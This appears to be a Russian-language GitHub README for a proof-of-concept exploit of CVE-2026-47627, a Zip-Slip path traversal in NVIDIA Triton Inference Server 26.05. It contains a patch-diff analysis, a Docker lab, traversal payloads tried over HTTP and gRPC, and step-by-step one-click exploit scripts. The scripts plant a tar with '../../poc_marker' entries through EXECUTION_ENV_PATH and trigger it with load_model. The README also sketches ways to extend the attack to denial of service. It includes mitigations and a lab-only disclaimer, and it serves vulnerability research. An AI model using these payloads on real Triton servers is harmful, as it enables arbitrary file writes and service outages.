
Доказательство концепции эксплуатации для CVE-2026-47627 — уязвимости обхода пути (path traversal) в NVIDIA Triton Inference Server, приводящей к произвольной записи файлов через Zip-Slip. Включает подробный анализ, лабораторную среду и скрипты эксплуатации в один клик.
Полный writeup результатов исследования и PoC в этом репозитории (образ
nvcr.io/nvidia/tritonserver:26.05-py3/server v2.69.0). Репозиторий настроен на режимexplicit, чтобы PoC работал без перезапуска через gRPC.
| Поле | Значение |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| Публикация | 2026-08-18 (NVD Awaiting Analysis) |
| Бюллетень | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 Path Traversal |
| Затронуто | 0.0-26.05 (server v2.69.0 / core r26.05) |
| Исправлено | 26.06 (server v2.70.0 / core r26.06) |
| Воздействие | DoS (описание CNA) — данное исследование доказывает запись файлов за пределами /models через Zip-Slip, что может быть расширено до DoS/истощения ресурсов |
| Автор | Martin Brodeur |
Честное примечание: Описание CNA содержит только
path traversal → DoSбез деталей. Этот writeup реконструирует местоположение бага через diffr26.05..r26.06и непосредственное тестирование в контейнере26.05-py3.
Образ: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose всегда в режиме explicit (уже пропатчен в этом репозитории):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 также в режиме explicit.
Режимы Triton:
NONE (по умолчанию upstream) → загрузка один раз при старте, POST /v2/repository/models/.../load → 503, требуется перезапуск для загрузки новой модели.POLL → сканирование репозитория каждую секунду, автозагрузка, но явная загрузка по-прежнему блокируется.EXPLICIT (этот репозиторий) → без сканирования, но открыт gRPC load_model / POST /load → PoC без перезапуска через gRPC.Порты:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Metrics | Prometheus |
Начальные модели:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
Быстрый старт:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + infer identity_onnx
User input (model_name / tar entry) ──► join(parent, child) ──► canonicalize ──► проверка "child внутри parent?" ──► открытие файла
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' check FileExists / extract
join без canonicalize или проверка rfind(parent,0)==0 некорректна (частичное совпадение /models vs /models_evil), то ../ может выйти за пределы./dev/zero, /proc/self/mem, или tar содержит ../../, перезаписывающий системные файлы → зависание / OOM / крах.Три исследовательских вопроса (из первоначального отчёта):
model_name в gRPC RepositoryModelLoad, EXECUTION_ENV_PATH tar entry, file: override, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS через истощение ресурсов / зависание. В этом репозитории доказана запись файла в /tmp/poc_marker.Репозиторий core (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — исправление dcb315d + 72f3d9b:
// УЯЗВИМО (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → баг частичного совпадения: префикс "/models" из "/models_evil/file" считается внутренним
// ИСПРАВЛЕНО (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → после префикса должен быть '/', "/models_evil" теперь корректно считается внешним
Используется в src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) и src/model_repository_manager/model_repository_manager.cc:162 (file:).
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (март 2026, уже в 26.05, но ужесточено в 26.06):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
Именно это заставляет gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT в 26.05 (уже заблокировано). Но %2f (закодированный /) проходит, так как это не литеральный / → 500 литерального опроса.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 тест zipslip_test.py:
Tar извлекается без проверки .. / абсолютных путей. Entry ../../poc_marker из /models/poc_exploit/malicious_env.tar.gz извлекается в /tmp/poc_marker (за пределами каталога модели). Исправление в 26.06: использование ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + проверка IsChildPathEscapingParentPath.
Репозиторий server (r26.05..r26.06): только sagemaker_server.cc:1027 (проверка RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), не относится к этому CVE.
Вывод: Путь model_name через HTTP/gRPC уже заблокирован в 26.05 функцией ValidateModelName, но Zip-Slip tar — нет; именно это эксплуатирует PoC данного репозитория.
| Вектор | Payload | Результат в 26.05 | Срабатывает? |
|---|---|---|---|
HTTP raw ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (нормализация маршрутов) | ❌ |
HTTP encoded ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 литеральный, опрос /models/..%2ftmp%2fpwn не существует | ❌ (фейковый 500, не traversal) |
gRPC raw ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (уже заблокировано) |
gRPC encoded ..%2f | load_model('..%2ftmp%2fpwn') | 500 литеральный опрос | ❌ |
file: override ../models_evil | file:../models_evil/pwn | 400/500 в зависимости от частичного совпадения | ⚠️ (зависит от бага IsChildPathEscapingParentPath, но уже заблокировано ValidateModelName для model_name) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz entry ../../poc_marker | 200 + файл в /tmp/poc_marker | ✅ УЯЗВИМО |
Аналогия
500 vs 400в старом writeup ошибочна:500= файл не существует (двери нет),400= отклонено валидацией (дверь заперта). Оба не проходят. Только200+ файл в/tmpявляется доказательством.
Идея: Параметр Python backend EXECUTION_ENV_PATH указывает на $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. При load_model('poc_exploit') backend pb_env.cc:292 извлекает tar без санитизации. Entry ../../poc_marker выходит за пределы .../poc_exploit/ в /tmp/poc_marker.
Шаги PoC (автоматизированы в scripts/exploit.py:28 и exploit.ps1:20):
echo_python → poc_exploit (scripts/exploit.py:35)config.pbtxt (scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') (scripts/exploit.py:60) — без перезапуска, так как режим explicit.docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)Предварительные требования: Docker, образ 26.05-py3 уже запущен через docker compose up -d (репозиторий уже в режиме explicit).
Python (без перезапуска, через gRPC):
py scripts/exploit.py # автоопределение explicit → gRPC
py scripts/exploit.py --keep # сохранить артефакт для ручной проверки
# ручная проверка: docker exec tritonserver-test cat /tmp/poc_marker
# ручная очистка: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
Возврат к MODE_NONE (если нужен upstream по умолчанию):
# отредактировать docker-compose.yml:12, удалить --model-control-mode=explicit
docker compose up -d --force-recreate
Тест блокировки (должен быть 400/404/500, не 200):
py scripts/test_http_grpc_blocked.py # был в старом репозитории, теперь удалён — используйте лог exploit.py
# или вручную:
curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}" # 500
py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')" # 400
Уязвимая версия (26.05) — вывод exploit.py:
[*] Triggering exploit via gRPC load (no restart)...
[+] gRPC load sent
[+] VULNERABLE: /tmp/poc_marker exists outside /models
cat: pwned
[+] Exploit succeeded — file write outside repository confirmed
Проверка:
docker exec tritonserver-test ls -l /tmp/poc_marker # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
docker exec tritonserver-test cat /tmp/poc_marker # pwned
docker logs tritonserver-test --tail 20 | grep Extracting # Extracting Python execution env .../malicious_env.tar.gz
Патченная версия (26.06) — ожидаемый результат:
[-] Not vulnerable: /tmp/poc_marker not found
# лог: Path contains '..' (или Path is absolute)
HTTP/gRPC .. должен возвращать 400, а не 500:
# 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (уже заблокировано ValidateModelName)
# 26.05 gRPC ..%2f → 500 литеральный опрос (обход валидации, но не настоящий traversal)
# 26.06 оба → 400
CNA указывает DoS, но этот Zip-Slip может привести к перезаписи файлов → DoS:
model.py / config.pbtxt другой модели → модель не загружается → 503bin/activate или FIFO /tmp/fifo → зависание потока pb_env.cc → UNAVAILABLEload_model tar с ../../dev/zero (бесконечный) → OOMЭтот репозиторий фокусируется на записи файлов как доказательстве traversal; DoS может быть расширен tar, содержащим 1/model.py с бесконечным циклом.
26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.8000/8001 в интернет (reverse proxy + аутентификация).. и %2f в URL и EXECUTION_ENV_PATHEXECUTION_ENV_PATH Python backend, если не требуетсяdocker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f".
├── model_repository/
│ ├── echo_python/ # пример python backend
│ └── identity_onnx/ # пример onnxruntime
├── scripts/
│ ├── exploit.py:1 # основной PoC (Python, oneclick, gRPC, без перезапуска)
│ ├── generate_model.py # регенерация identity_onnx
│ └── client_test.py # тест health + infer
├── exploit.ps1:1 # основной PoC (PowerShell, oneclick)
├── docker-compose.yml:12 # всегда explicit
├── run_triton.bat:10 / .ps1:11 / .sh:12 # всегда explicit
├── requirements.txt # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
└── README.md # этот writeup
Удалено: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.
https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (Awaiting Analysis)dcb315d (Modernize Child Path), 72f3d9b (child path test), e520f8c7 (zipslip test), 50830ba/66f09f8 (ValidateModelName)v2.70.0 (690f9dd)| Дата | Событие |
|---|---|
| 2026-03-03 | core#472 ValidateModelName |
| 2026-03-16 | core#481 POSIX trim |
| 2026-05-18 | core#497 IsChildPathEscapingParentPath |
| 2026-06-02 | server#8857 zipslip test |
| 2026-06-26 | 26.06 / v2.70.0 выпуск патча |
| 2026-08-18 | Публикация CVE |
| 2026-09-02 | PoC этого репозитория проверен на 26.05-py3 → VULNERABLE |
Этот PoC предназначен для образовательных целей и закрытой лаборатории. Не открывайте 8000/8001 без аутентификации. Всегда выполняйте exploit.py --keep, затем docker exec tritonserver-test rm -f /tmp/poc_marker и Remove-Item -Recurse model_repository/poc_exploit после демонстрации.